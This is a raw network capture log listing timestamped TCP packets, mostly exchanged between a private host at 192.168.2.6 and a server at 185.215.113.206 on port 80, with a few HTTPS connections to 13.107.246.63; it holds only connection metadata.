Dec 7, 2024 22:40:40.532088041 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.532128096 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.532164097 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.532205105 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.533020020 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.533073902 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.533082008 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.533123970 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.533930063 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.533979893 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.534046888 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.534091949 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.534914017 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.534969091 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.534984112 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.535330057 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.535867929 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.535913944 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.535917044 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.535948038 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.536777020 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.536834955 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.536865950 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.536911964 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.537775993 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.537823915 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.537831068 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.537858963 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.538732052 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.538779020 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.538826942 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.538923025 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.539670944 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.539726973 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.539731026 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.539767027 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.540636063 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.540744066 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.540762901 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.540776014 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.541524887 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.541579962 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.541625023 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.541662931 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.542529106 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.542576075 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.542608976 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.542653084 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.543437004 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.543495893 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.543529034 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.543564081 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.544342995 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.544409990 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.544451952 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.544487953 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.545279026 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.545337915 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.545407057 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.545449972 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.546227932 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.546289921 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.546300888 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.546331882 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.547154903 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.547220945 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.547266960 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.547303915 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.548135996 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.548185110 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.548191071 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.548599958 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.549102068 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.549149036 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.549185991 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.549233913 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.549998045 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.550049067 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.550128937 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.550170898 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.550919056 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.550976992 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.551023006 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.551065922 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.551912069 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.551971912 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.552014112 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.552054882 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.552846909 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.552901983 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.552961111 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.553000927 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.553797960 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.553847075 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.553881884 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.553920984 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.554725885 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.554770947 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.554811954 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.554851055 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.663094044 CET	443	49796	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.663158894 CET	443	49796	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.663305044 CET	49796	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.663500071 CET	49796	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.663500071 CET	49796	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.663511038 CET	443	49796	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.663520098 CET	443	49796	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.666390896 CET	49801	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.666415930 CET	443	49801	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.666517973 CET	49801	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.666691065 CET	49801	443	192.168.2.6	13.107.246.63
Dec 7, 2024 22:40:40.666704893 CET	443	49801	13.107.246.63	192.168.2.6
Dec 7, 2024 22:40:40.697031975 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.697170973 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.697216034 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.697262049 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.697561979 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.697602987 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.697714090 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.697750092 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.697849035 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.697885036 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.698605061 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.698651075 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.698723078 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.698772907 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.699554920 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.699605942 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.699651957 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.699690104 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.700514078 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.700568914 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.700608015 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.700650930 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.701452971 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.701494932 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.701555967 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.701600075 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.702404976 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.702465057 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.702508926 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.702548981 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.703353882 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.703403950 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.703440905 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.703483105 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.704493999 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.704555035 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.704598904 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.704644918 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.705425024 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.705475092 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.705509901 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.705554008 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.706389904 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.706459045 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.706504107 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.706548929 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.707210064 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.707254887 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.707309008 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.707350969 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.708076954 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.708122969 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.708182096 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.708225012 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.709009886 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.709062099 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.709121943 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.709162951 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.710021019 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.710067987 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.710150003 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.710197926 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.710906982 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.710956097 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.711014032 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.711057901 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.711868048 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.711918116 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.711954117 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.711994886 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.712790012 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.712838888 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.712935925 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.712979078 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.713732958 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.713789940 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.713824987 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.713871002 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.714679003 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.714729071 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.714780092 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.714831114 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.715609074 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.715658903 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.715692043 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.715735912 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.716574907 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.716624975 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.716634989 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.716676950 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.717544079 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.717586994 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.717643976 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.717680931 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.718444109 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.718496084 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.718524933 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.718566895 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.719427109 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.719485998 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.719525099 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.719566107 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.720336914 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.720383883 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.720453024 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.720519066 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.721293926 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.721343994 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.721399069 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.721445084 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.722250938 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.722328901 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.722358942 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.722400904 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.723170996 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.723220110 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.723274946 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.723330975 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.724108934 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.724159956 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.724200964 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.724245071 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.725052118 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.725101948 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.725169897 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.725214958 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.726020098 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.726069927 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.726097107 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.726135015 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.726948977 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.726998091 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.727051973 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.727098942 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.727942944 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.727993011 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.728008032 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.728050947 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.728869915 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.728926897 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.728952885 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.728991032 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.729775906 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.729825020 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.729850054 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.729893923 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.730719090 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.730772972 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.730850935 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.730904102 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.731750011 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.731798887 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.731803894 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.731841087 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.732608080 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.732666016 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.732767105 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.732812881 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.733598948 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.733649015 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.733927965 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.733979940 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.734611034 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.734661102 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.734821081 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.734872103 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.735460997 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.735521078 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.735575914 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.735619068 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.736368895 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.736423969 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.736480951 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.736530066 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.737334013 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.737390041 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.737436056 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.737483025 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.738274097 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.738327980 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.738389015 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.738435030 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.739294052 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.739351034 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.739392996 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.739430904 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.740163088 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.740215063 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.740272999 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.740314007 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.741112947 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.741163969 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.741235971 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.741277933 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.742060900 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.742113113 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.742223978 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.742274046 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.743010044 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.743069887 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.743132114 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.743185043 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.743942976 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.743999958 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.744096041 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.744147062 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.744966030 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.744978905 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.745022058 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.745858908 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.745915890 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.746048927 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.746092081 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.889097929 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.889152050 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.889161110 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.889194012 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.889616966 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.889661074 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.889667034 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.889707088 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.890491962 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.890544891 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.890674114 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.890721083 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.891453028 CET	80	49790	185.215.113.206	192.168.2.6
Dec 7, 2024 22:40:40.891495943 CET	49790	80	192.168.2.6	185.215.113.206
Dec 7, 2024 22:40:40.891594887 CET	80	49790	185.215.113.206	192.168.2.6
